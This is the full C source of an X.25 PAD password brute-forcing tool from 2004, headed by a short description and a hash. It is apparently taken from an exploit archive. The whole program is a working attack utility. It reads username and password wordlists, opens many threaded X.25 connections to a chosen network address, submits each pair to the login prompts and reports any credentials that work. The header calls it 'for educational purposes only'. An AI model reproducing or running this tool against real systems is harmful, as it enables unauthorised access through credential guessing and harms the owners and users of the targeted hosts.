Multithreaded multi-link X.25 Pad password brute-forcing utility. Tested on Solaris. The speed of this software will depend on network congestion and the number of free outgoing links.
0376e9b17ff926409fad0c905df32f253c46300171d706ec8aae3ca07053102c
/*
* x25bru.c Version 0.01 Beta0
*
* Multi thread/link x25 pad bruteforcer.
*
* The speed of this software will depend of x25 network congestion and
* the number of free outgoing link. Don't use a number of thread greater
* than you link number or you will get problems. For add recognize OS
* reply just modify valid_login, valid_password and invalid_answer array.
*
* Options:
*
* -d <nua> NUA to bruteforce
* -u <file> Username file
* -p <file> Password file
* -c <number> Number of threads (default 1)
* -v Verbose
*
* Todo:
* + Auto recognize number of lines
* + x25 link errors
*
* Compilation:
* + gcc -o x25bru x25bru.c -L/opt/SUNWconn/lib/ -R/opt/SUNWconn/lib/ \
* -lthread -lsockx25 -lsocket -Wall
*
*
* Dedicated to a lost friend.
*
*
* THIS PROGRAM IS FOR EDUCATIONAL PURPOSES *ONLY*
* IT IS PROVIDED "AS IS" AND WITHOUT ANY WARRANTY
*
* (c) 2004 Copyright by Inode <inode@wayreth.eu.org>
*
*/
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <time.h>
#include <pthread.h>
#include <unistd.h>
#include <sys/types.h>
#include <unistd.h>
#include <fcntl.h>
// X25 includes
#include <sys/ioctl.h>
#include <sys/param.h>
#include <sys/systm.h>
#include <sys/socket.h>
#include <sys/protosw.h>
#include <sys/sockio.h>
#include <sys/errno.h>
#include <sys/signal.h>
#include <net/if.h>
#include <sundev/syncstat.h>
#include <netx25/x25_pk.h>
#include <netx25/x25_ctl.h>
#include <netx25/x25_ioctl.h>
#define VERSION "0.01 Beta0"
#define USERLEN 100
#define MAX_THREAD 250
char * valid_login[] = {
"login", NULL
};
char * valid_password[] = {
"sword", NULL
};
char * invalid_answer[] = {
"incorrect", NULL
};
struct list_type {
char text[ USERLEN ];
struct list_type * next;
};
struct list_type * user_list = NULL;
struct list_type * pass_list = NULL;
struct list_type * cur_user = NULL;
struct list_type * cur_pass = NULL;
// Mutex variables
pthread_mutex_t input_queue;
pthread_mutex_t output_file;
extern int errno;
int verbose = 0;
unsigned long checked = 0;
char * nua_dest = NULL;
/*
* Prototypes
*
*/
void load_file( char * filename , struct list_type ** list);
void free_list( struct list_type ** list);
int connect_x25( char * nua );
int pack(char * str, u_char * bcd);
int pack(char * str, u_char * bcd)
{
int i, j;
u_char c;
i = j = 0;
while (str[i]) {
if (i >= 15 || str[i] < '0' || str[i] > '9')
return (-1);
c = str[i] - '0';
if (i & 1)
bcd[j++] |= c;
else
bcd[j] = c << 4;
i++;
}
return (i);
}
int connect_x25( char * nua )
{
int s;
int pgrp = getpid();
CONN_DB remote;
int user_data_len = 0;
u_char user_data[126];
if ((s = socket(AF_X25, SOCK_STREAM, 0)) < 0) {
perror("socket");
exit(1);
}
/*
* Set process group id for socket, and signal handler.
*/
if (ioctl(s, SIOCSPGRP, &pgrp)) {
perror("ioctl(SIOCSPGRP)");
exit(1);
}
/*
* Set remote address and select link if specified
*/
if ((remote.hostlen = pack( nua, remote.host)) < 0) {
printf("Error: invalid destination address\n");
exit(1);
}
if (user_data_len > MAXDATA) {
/*
* The excess data must be set using X25_WR_USER_DATA. This
* will be preceded by the data specified in remote.
*/
USER_DATA_DB u;
u.datalen = user_data_len - MAXDATA;
}
remote.datalen = (uint8_t) user_data_len;
memmove(remote.data, user_data, user_data_len);
// Connect
if (connect(s, (struct sockaddr *)&remote, sizeof(remote)) < 0) {
perror("connect");
exit(1);
}
return s;
}
/*
* Load list from file and store in the correct structure
*
*/
void load_file( char * filename , struct list_type ** list)
{
FILE *in;
char buffer[ USERLEN ];
struct list_type * cur = NULL;
struct list_type * new = NULL;
// Open the file
if( ( in = fopen( filename, "r") ) == NULL ) {
fprintf( stderr, "Error opening file %s\n", filename );
exit( 0 );
}
// Read until the end of file
for( ;; ) {
if( fgets( buffer, sizeof(buffer), in) == NULL )
break;
// remove the newline chars
buffer[ strlen(buffer) - 1 ] = 0;
// store the username in the right struture
new = (struct list_type *) malloc ( sizeof( struct list_type ) );
new -> next = NULL;
strncpy( new->text, buffer, USERLEN );
new -> text[ USERLEN - 1 ] = 0;
// Update the list
if( *list == NULL ) {
*list = new;
cur = new;
} else {
cur -> next = new;
cur = new;
}
}
fclose( in );
}
/*
* Free a list_type structure
*
*/
void free_list( struct list_type ** list)
{
struct list_type * cur = *list;
while( cur != NULL ) {
*list = cur -> next;
free( cur );
cur = *list;
}
*list = NULL;
}
void usage( char * argv0 )
{
fprintf( stderr, " Usage:\n");
fprintf( stderr, " %s -d <arg> -u <arg> [-p <arg>] [-c <arg>] [-v]\n\n" , argv0);
fprintf( stderr, " -d <nua> NUA to bruteforce\n");
fprintf( stderr, " -u <file> Username file\n");
fprintf( stderr, " -p <file> Password file\n");
fprintf( stderr, " -c <number> Number of threads (default 1)\n");
fprintf( stderr, " -v Verbose\n\n");
exit( 0 );
}
/*
*
*
*/
int read_sock( int sock, char * buffer, long buf_len, char ** search)
{
fd_set read_template;
struct timeval wait;
int retval;
int i;
wait.tv_sec = 5;
wait.tv_usec = 0;
for( ;; ) {
FD_ZERO(&read_template);
FD_SET(sock, &read_template);
retval = select(FD_SETSIZE, &read_template, (fd_set *) 0, (fd_set *) 0, &wait);
if(retval < 1)
break;
memset(buffer, 0,buf_len);
read( sock, buffer, buf_len);
i = 0;
while( search[ i ] != NULL ) {
if( strstr(buffer, search[i]) != NULL )
break;
i++;
}
if( search[ i ] != NULL )
return 1;
}
return 0;
}
int check_user( char * username, char * password, int socket )
{
char buffer[2000];
if( read_sock( socket, buffer, sizeof(buffer), valid_login) == 0 ) {
return -1;
}
sprintf(buffer, "%s\n", username);
if( write( socket, buffer, strlen(buffer)) < 0 )
return -1;
if( read_sock( socket, buffer, sizeof(buffer), valid_password) == 0 ) {
return -1;
}
sprintf(buffer, "%s\n", password);
if( write( socket, buffer, strlen(buffer)) < 0 )
return -1;
if( read_sock( socket, buffer, sizeof(buffer), invalid_answer) == 0 ) {
return 0;
}
return 1;
}
void * scan(void * data)
{
int sock = -1;
int chec = 0;
char username[USERLEN];
char password[USERLEN];
for( ;; ) {
pthread_mutex_lock(&input_queue);
// Stop on finish
if( cur_user == NULL ) {
pthread_mutex_unlock(&input_queue);
break;
}
strcpy( username, cur_user->text);
if( pass_list == NULL ) {
strcpy( password, cur_user->text);
// next username
cur_user = cur_user -> next;
} else {
strcpy( password, cur_pass->text);
// next password
cur_pass = cur_pass -> next;
if( cur_pass == NULL ) {
// if password finish, pass to next user
cur_pass = pass_list;
cur_user = cur_user -> next;
}
}
if( verbose > 0 )
fprintf( stderr, " Testing %s:%s\n", username, password);
pthread_mutex_unlock(&input_queue);
checked ++;
chec = 0;
while( chec == 0 ) {
if( sock < 0 ) {
sock = connect_x25( nua_dest );
// Set a non blocking socket
fcntl(sock, F_SETFL, O_NONBLOCK);
}
switch ( check_user( username, password, sock) ) {
case -1:
close( sock );
sock = -1;
break;
case 0:
// Success!
printf("\n\nValid user %s with password %s\n\n",username,password);
close( sock );
sock = -1;
chec = 1;
break;
case 1:
chec = 1;
break;
}
}
}
return 0;
}
int main( int argc, char ** argv)
{
char opt;
int number_thread = 1;
time_t start;
time_t current;
int i;
pthread_t thread_id[200];
fprintf( stderr, "\n X25 pad bruteforcer v%s by Inode <inode@wayreth.eu.org>\n\n", VERSION);
// Check arguments
while((opt = getopt(argc, argv, "u:p:c:d:v")) != -1)
{
switch (opt)
{
case 'd':
nua_dest = optarg;
break;
case 'c':
number_thread = atoi( optarg );
break;
case 'u':
load_file(optarg, &user_list);
break;
case 'p':
load_file(optarg, &pass_list);
break;
case 'v':
verbose = 1;
break;
break;
default:
usage( argv[0] );
break;
}
}
if( user_list == NULL || nua_dest == NULL) {
usage( argv[0] );
exit( 0 );
}
pthread_setconcurrency( number_thread );
pthread_mutex_init(&input_queue, NULL);
pthread_mutex_init(&output_file, NULL);
cur_user = user_list;
cur_pass = pass_list;
time(&start);
for( i = 0 ; i < number_thread; i++)
if( pthread_create( &thread_id[i], NULL, &scan, NULL) != 0 ) {
i--;
fprintf(stderr,"\nError in creating thread\n");
}
for( i = 0 ; i < number_thread; i++)
if( pthread_join( thread_id[i], NULL) != 0 ) {
fprintf(stderr,"\nError in joining thread\n");
}
time(¤t);
fprintf(stderr, "\n\n");
fprintf(stderr, " +-----------+--------+-----------+\n");
fprintf(stderr, " | Checked | Time | Average/s |\n");
fprintf(stderr, " +--------------------+-----------+\n");
fprintf(stderr, " | %9u | %6.0lf | %9.0lf |\n", (unsigned int)checked, difftime(current,start), checked/difftime(current,start) );
fprintf(stderr, " +--------------------+-----------+\n");
fprintf(stderr, "\n\n");
free_list( &user_list );
free_list( &pass_list );
return 0;
}